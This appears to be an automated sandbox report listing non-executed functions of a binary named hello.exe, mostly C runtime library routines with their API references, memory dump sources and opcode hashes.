Opcode ID: 08c4d7f806ba873ab6bc6667b138c46166b138b7ef38c38049c8514fbb076721
Instruction ID: 4791564ba0cd8324941788c24ee9945cd4d17b56e9a06c08ab5afea420fa26a2
Opcode Fuzzy Hash: 08c4d7f806ba873ab6bc6667b138c46166b138b7ef38c38049c8514fbb076721
Instruction Fuzzy Hash: A71155B58003898FCB10CFA9D5457EEBFF4AF48320F24846AD958A7241C778A984CFA5

Non-executed Functions

Function 6C3901DA Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6C3901E6
IsDebuggerPresent.KERNEL32 ref: 6C3902B2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C3902CB
UnhandledExceptionFilter.KERNEL32(?), ref: 6C3902D5

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fb3743d30dd38ce8dd69ccbc61155bd8c693b5bbfd290eda8c850254d1c8f49d
Instruction ID: 1af7b2cdb2c89f98ecded45f3163efb9f2682be2d508496bc301eb380004b86f
Opcode Fuzzy Hash: fb3743d30dd38ce8dd69ccbc61155bd8c693b5bbfd290eda8c850254d1c8f49d
Instruction Fuzzy Hash: 453106B5D45258DBDF20EFA4D9497CDBBB8AF08304F1041AAE54CAB240FB719A85CF45

Function 6C3BD45B Relevance: 129.2, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6C3BD46F
_free.LIBCMT ref: 6C3BD477
_free.LIBCMT ref: 6C3BD47F
_free.LIBCMT ref: 6C3BD487
_free.LIBCMT ref: 6C3BD48F
_free.LIBCMT ref: 6C3BD497
_free.LIBCMT ref: 6C3BD49E
_free.LIBCMT ref: 6C3BD4A6
_free.LIBCMT ref: 6C3BD4AE
_free.LIBCMT ref: 6C3BD4B6
_free.LIBCMT ref: 6C3BD4BE
_free.LIBCMT ref: 6C3BD4C6
_free.LIBCMT ref: 6C3BD4CE
_free.LIBCMT ref: 6C3BD4D6
_free.LIBCMT ref: 6C3BD4DE
_free.LIBCMT ref: 6C3BD4E6
_free.LIBCMT ref: 6C3BD4F1
_free.LIBCMT ref: 6C3BD4F9
_free.LIBCMT ref: 6C3BD501
_free.LIBCMT ref: 6C3BD509
_free.LIBCMT ref: 6C3BD511
_free.LIBCMT ref: 6C3BD519
_free.LIBCMT ref: 6C3BD521
_free.LIBCMT ref: 6C3BD529
_free.LIBCMT ref: 6C3BD531
_free.LIBCMT ref: 6C3BD539
_free.LIBCMT ref: 6C3BD541
_free.LIBCMT ref: 6C3BD549
_free.LIBCMT ref: 6C3BD551
_free.LIBCMT ref: 6C3BD559
_free.LIBCMT ref: 6C3BD561
_free.LIBCMT ref: 6C3BD569
_free.LIBCMT ref: 6C3BD577
_free.LIBCMT ref: 6C3BD582
_free.LIBCMT ref: 6C3BD58D
_free.LIBCMT ref: 6C3BD598
_free.LIBCMT ref: 6C3BD5A3
_free.LIBCMT ref: 6C3BD5AE
_free.LIBCMT ref: 6C3BD5B9
_free.LIBCMT ref: 6C3BD5C4
_free.LIBCMT ref: 6C3BD5CF
_free.LIBCMT ref: 6C3BD5DA
_free.LIBCMT ref: 6C3BD5E5
_free.LIBCMT ref: 6C3BD5F0
_free.LIBCMT ref: 6C3BD5FB
_free.LIBCMT ref: 6C3BD606
_free.LIBCMT ref: 6C3BD611
_free.LIBCMT ref: 6C3BD61C
_free.LIBCMT ref: 6C3BD62A
_free.LIBCMT ref: 6C3BD635
_free.LIBCMT ref: 6C3BD640
_free.LIBCMT ref: 6C3BD64B
_free.LIBCMT ref: 6C3BD656
_free.LIBCMT ref: 6C3BD661
_free.LIBCMT ref: 6C3BD66C
_free.LIBCMT ref: 6C3BD677
_free.LIBCMT ref: 6C3BD682
_free.LIBCMT ref: 6C3BD68D
_free.LIBCMT ref: 6C3BD698
_free.LIBCMT ref: 6C3BD6A3
_free.LIBCMT ref: 6C3BD6AE
_free.LIBCMT ref: 6C3BD6B9
_free.LIBCMT ref: 6C3BD6C4
_free.LIBCMT ref: 6C3BD6CF
_free.LIBCMT ref: 6C3BD6DD
_free.LIBCMT ref: 6C3BD6E8
_free.LIBCMT ref: 6C3BD6F3
_free.LIBCMT ref: 6C3BD6FE
_free.LIBCMT ref: 6C3BD709
_free.LIBCMT ref: 6C3BD714
_free.LIBCMT ref: 6C3BD71F
_free.LIBCMT ref: 6C3BD72A
_free.LIBCMT ref: 6C3BD735
_free.LIBCMT ref: 6C3BD740
_free.LIBCMT ref: 6C3BD74B
_free.LIBCMT ref: 6C3BD756
_free.LIBCMT ref: 6C3BD761
_free.LIBCMT ref: 6C3BD76C
_free.LIBCMT ref: 6C3BD777
_free.LIBCMT ref: 6C3BD782
_free.LIBCMT ref: 6C3BD790
_free.LIBCMT ref: 6C3BD79B
_free.LIBCMT ref: 6C3BD7A6
_free.LIBCMT ref: 6C3BD7B1
_free.LIBCMT ref: 6C3BD7BC
_free.LIBCMT ref: 6C3BD7C7

Memory Dump Source

Source File: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Offset: 6C3A3000, based on PE: true

Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction ID: d01424c1a44ccb6be08720877a68f51d05632c4a47ae7b566839842eb923dadd
Opcode Fuzzy Hash: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction Fuzzy Hash: C471D4B5411B00EBD7631B32DD41AD976A27F2570CF504914A1DE3AE30DF3268699EE2

Function 6C391C0A Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6C391D29
___TypeMatch.LIBVCRUNTIME ref: 6C391E37
_UnwindNestedFrames.LIBCMT ref: 6C391F89
CallUnexpected.LIBVCRUNTIME ref: 6C391FA4

Strings

csm, xrefs: 6C391C47
csm, xrefs: 6C391D60
csm, xrefs: 6C391CB4

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c681d2fe6f19e90e4fc3e00e417c3777ba5fbc71c4905b1a3e9f8a40d0392314
Instruction ID: 2aa3b73d544c3b55428f0f8f66f8b103dff15a5ebb21190867cc050e3418eb53
Opcode Fuzzy Hash: c681d2fe6f19e90e4fc3e00e417c3777ba5fbc71c4905b1a3e9f8a40d0392314
Instruction Fuzzy Hash: 9AB1BA71D00209DFDF05CFA5C9809AEBBB9FF04318B14426AE8527BA55E336DA51CF92

Function 6C390CB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6C390CE7
___except_validate_context_record.LIBVCRUNTIME ref: 6C390CEF
_ValidateLocalCookies.LIBCMT ref: 6C390D78
__IsNonwritableInCurrentImage.LIBCMT ref: 6C390DA3
_ValidateLocalCookies.LIBCMT ref: 6C390DF8

Strings

csm, xrefs: 6C390D8D

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 08162d8c5c4c708e50775f87af11d6d473aa145066924cecd36411c111c5d6c3
Instruction ID: faf343bcfc31e80c3e53950307033a139b28fd503d1f3e394bf9e27d61710424
Opcode Fuzzy Hash: 08162d8c5c4c708e50775f87af11d6d473aa145066924cecd36411c111c5d6c3
Instruction Fuzzy Hash: 8A41B334A01258EBCF00DF68C880ADEBBB9AF4931CF148155E8146B7A1E736EA05CFD1

Function 6C396145 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,9D037332,?,6C396254,6C392DF5,6C394209,00000000), ref: 6C396206

Strings

ext-ms-, xrefs: 6C3961B0
api-ms-, xrefs: 6C39619C

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: ed5c626231122b94650395d8d1b5780e706081551758fa22e8a5d7e5d1b57191
Instruction ID: 7ebe940011907c4170e6437ab6271f1fff8ce5ce6e8b63412047c3d04fc6633a
Opcode Fuzzy Hash: ed5c626231122b94650395d8d1b5780e706081551758fa22e8a5d7e5d1b57191
Instruction Fuzzy Hash: C221EB31B06511A7DB51AF25AC80A8E377CEF423A8F250215ED15E7782F736EA00CEE1

Function 6C39125C Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6C390E91,6C38FFB0,6C38F9C9,?,6C38FC01,?,00000001,?,?,00000001,?,6C3A1698,0000000C,6C38FCFA), ref: 6C39126A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6C391278
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6C391291
SetLastError.KERNEL32(00000000,6C38FC01,?,00000001,?,?,00000001,?,6C3A1698,0000000C,6C38FCFA,?,00000001,?), ref: 6C3912E3

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 3e3ad5eea6a7763e78e515faf0a115b24e332ee93368dd417587ab4364f62ddc
Instruction ID: 54a6f14a734e01403babf33ff0d32a8e1861c883d78df05fcdd905c31a3592dc
Opcode Fuzzy Hash: 3e3ad5eea6a7763e78e515faf0a115b24e332ee93368dd417587ab4364f62ddc
Instruction Fuzzy Hash: 8301D87630D3155EEA5126B5ACC458A367CEB0377D7200329E550E5AE0FF53DC049E52

Function 6C395379 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1000202001\hello.exe, xrefs: 6C395395

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe
API String ID: 0-2451236103
Opcode ID: 2fedab92fa7968fc3880cb7ec56fa6a67ea24359303f81121b343e9113f80f74
Instruction ID: a1b8803bf23ec84f495ca97e66ab20f47116d85e89334c262073b8e00f8f6f72
Opcode Fuzzy Hash: 2fedab92fa7968fc3880cb7ec56fa6a67ea24359303f81121b343e9113f80f74
Instruction Fuzzy Hash: 0621A471204205AFDB509F65C88099A77BDBF5136FB848714F894D7A50F732DC909FA1

Function 6C3BC773 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6C3BC77F

Part of subcall function 6C3BBA5C: __getptd_noexit.LIBCMT ref: 6C3BBA5F
Part of subcall function 6C3BBA5C: __amsg_exit.LIBCMT ref: 6C3BBA6C

__amsg_exit.LIBCMT ref: 6C3BC79F
__lock.LIBCMT ref: 6C3BC7AF
_free.LIBCMT ref: 6C3BC7DF

Strings

0EB, xrefs: 6C3BC7D6

Memory Dump Source

Source File: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Offset: 6C3A3000, based on PE: true

Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID: 0EB
API String ID: 3170801528-3472271230
Opcode ID: e238d488bc79b5e864176e3efb4f77429685bdb8fab3dde3f4d5a3452374dae3
Instruction ID: d87613bfa0bfe5086dc3cfe17f647b8c82f7ecdaf9d9b19ec03350dadf19cd84
Opcode Fuzzy Hash: e238d488bc79b5e864176e3efb4f77429685bdb8fab3dde3f4d5a3452374dae3
Instruction Fuzzy Hash: AD01A132A41725DFD720AF65A885789B760BF2471CF104115E460B7E90DB349986CFDA

Function 6C3932F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,9D037332,?,?,00000000,6C39BB32,000000FF,?,6C39328A,00000002,?,6C39325E,6C393CCE), ref: 6C393325
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6C393337
FreeLibrary.KERNEL32(00000000,?,?,00000000,6C39BB32,000000FF,?,6C39328A,00000002,?,6C39325E,6C393CCE), ref: 6C393359

Strings

CorExitProcess, xrefs: 6C39332F
mscoree.dll, xrefs: 6C39331E

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7fb616978879bea88de93cf7a986822313aa61dcbc129fe424522078991c6da2
Instruction ID: 326befb9a98265d6efcf31eadcafc20c0063d7c1b4fa4239da02c0282a786251
Opcode Fuzzy Hash: 7fb616978879bea88de93cf7a986822313aa61dcbc129fe424522078991c6da2
Instruction Fuzzy Hash: DD016272A44519EFDF129F90CC09BEE7BBCFB05719F000625E925A2790EB7A9900CE90

Function 6C397F14 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6C397F99
__alloca_probe_16.LIBCMT ref: 6C398062
__freea.LIBCMT ref: 6C3980C9

Part of subcall function 6C396FA5: HeapAlloc.KERNEL32(00000000,6C3958F2,4D88C033,?,6C3958F2,00000220,?,6C3940B9,4D88C033), ref: 6C396FD7

__freea.LIBCMT ref: 6C3980DC
__freea.LIBCMT ref: 6C3980E9

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 6be99b87435c3498b6e587f1de50f4b48c4c86ec3f852b4da88cee3359117dcc
Instruction ID: e676f716be5f6ef0394491558067c9b7589e1e5fcec5b6045fdbe0b92725f312
Opcode Fuzzy Hash: 6be99b87435c3498b6e587f1de50f4b48c4c86ec3f852b4da88cee3359117dcc
Instruction Fuzzy Hash: A351CF72605206BBEB104F649C80EEB36A9DF85718F21412AFD55EAB40FB32D854CE62

Function 6C3BC4D7 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6C3BC4E3

Part of subcall function 6C3BBA5C: __getptd_noexit.LIBCMT ref: 6C3BBA5F
Part of subcall function 6C3BBA5C: __amsg_exit.LIBCMT ref: 6C3BBA6C

__getptd.LIBCMT ref: 6C3BC4FA
__amsg_exit.LIBCMT ref: 6C3BC508
__lock.LIBCMT ref: 6C3BC518
__updatetlocinfoEx_nolock.LIBCMT ref: 6C3BC52C

Memory Dump Source

Source File: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Offset: 6C3A3000, based on PE: true

Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: dda3cb636e12ca779e0afb16fe6277575db58770a14d18d93bb8717fb2b8ea00
Instruction ID: a5959792a7b2a779411f4f1aef4221e63fe9fc4a8d3578649d1be8bdb29d429a
Opcode Fuzzy Hash: dda3cb636e12ca779e0afb16fe6277575db58770a14d18d93bb8717fb2b8ea00
Instruction Fuzzy Hash: 9FF09632A40310DBD631BB76AA4179D77A0AF1072DF20421BD094BAFD0CFB456458E5B

Function 6C3B86E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C3B8752
__aulldiv.LIBCMT ref: 6C3B8760

Strings

@, xrefs: 6C3B872D
lYb, xrefs: 6C3B877B, 6C3B877E

Memory Dump Source

Source File: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Offset: 6C3A3000, based on PE: true

Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @$lYb
API String ID: 3732870572-948519696
Opcode ID: 0f69cd205593f7154666fbcf5752906efc6a50659c9d96c8b132b1cd6a1b47de
Instruction ID: d471a4a48d7d723f92318b8f7e3833bedd6d4f7bb0911a3ea88a4986af80571b
Opcode Fuzzy Hash: 0f69cd205593f7154666fbcf5752906efc6a50659c9d96c8b132b1cd6a1b47de
Instruction Fuzzy Hash: 91214AB1E44609ABDB10DFD8DD49FAEBBB9FB48B04F104119F205BB680C77959048FA5

Function 6C391832 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6C3917E3,00000000,?,00000001,?,?,?,6C3918D2,00000001,FlsFree,6C39CF70,FlsFree), ref: 6C39183F
GetLastError.KERNEL32(?,6C3917E3,00000000,?,00000001,?,?,?,6C3918D2,00000001,FlsFree,6C39CF70,FlsFree,00000000,?,6C391331), ref: 6C391849
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6C391871

Strings

api-ms-, xrefs: 6C391856

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: eee4ca70eb99ccd97eaf63cf8f7d3ed359f5002674b4b72651b5eed3aa0dd656
Instruction ID: 558f7b490befb5dd49bbba27186c2ec2c31baa0feef38c0dc4ec677f8d94d5c0
Opcode Fuzzy Hash: eee4ca70eb99ccd97eaf63cf8f7d3ed359f5002674b4b72651b5eed3aa0dd656
Instruction Fuzzy Hash: B1E01A31688205B7EF002E75EC05B893A7DAF01B58F208421F90EB89A1F763D8109A95

Function 6C398621 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(9D037332,00000000,00000000,?), ref: 6C398684

Part of subcall function 6C395F47: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6C3980BF,?,00000000,-00000008), ref: 6C395FA8

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6C3988D6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6C39891C
GetLastError.KERNEL32 ref: 6C3989BF

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 373678ecc015218b31418664bad2458650e964eafd56d3060bb1129525ea62e0
Instruction ID: 683678534cc72e6d3c270e6f54074b24139a6f97a8e90bdddc4c54739ffd2e9f
Opcode Fuzzy Hash: 373678ecc015218b31418664bad2458650e964eafd56d3060bb1129525ea62e0
Instruction Fuzzy Hash: 55D17B75E052489FCF01CFA8C8809ADBBB9FF49318F24456AE456EB751E731A901CF62

Function 6C3919B3 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6C391A7A
___AdjustPointer.LIBCMT ref: 6C391A9D
___AdjustPointer.LIBCMT ref: 6C391B39

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3ec764edcc9a0571e412ed3ea509b2ae1ffeb0a9652504a171fd3f071579b483
Instruction ID: 9c71e4c13854fd19086dae907fc7a6082b5c3432f7db21e3006b59b1ba6382e6
Opcode Fuzzy Hash: 3ec764edcc9a0571e412ed3ea509b2ae1ffeb0a9652504a171fd3f071579b483
Instruction Fuzzy Hash: C651F073A05602AFEB158F95D840BAAB3BDEF05318F20452DE85667A90F732ED44CF90

Function 6C394C15 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6C395F47: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6C3980BF,?,00000000,-00000008), ref: 6C395FA8

GetLastError.KERNEL32 ref: 6C394C79
__dosmaperr.LIBCMT ref: 6C394C80
GetLastError.KERNEL32(?,?,?,?), ref: 6C394CBA
__dosmaperr.LIBCMT ref: 6C394CC1

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
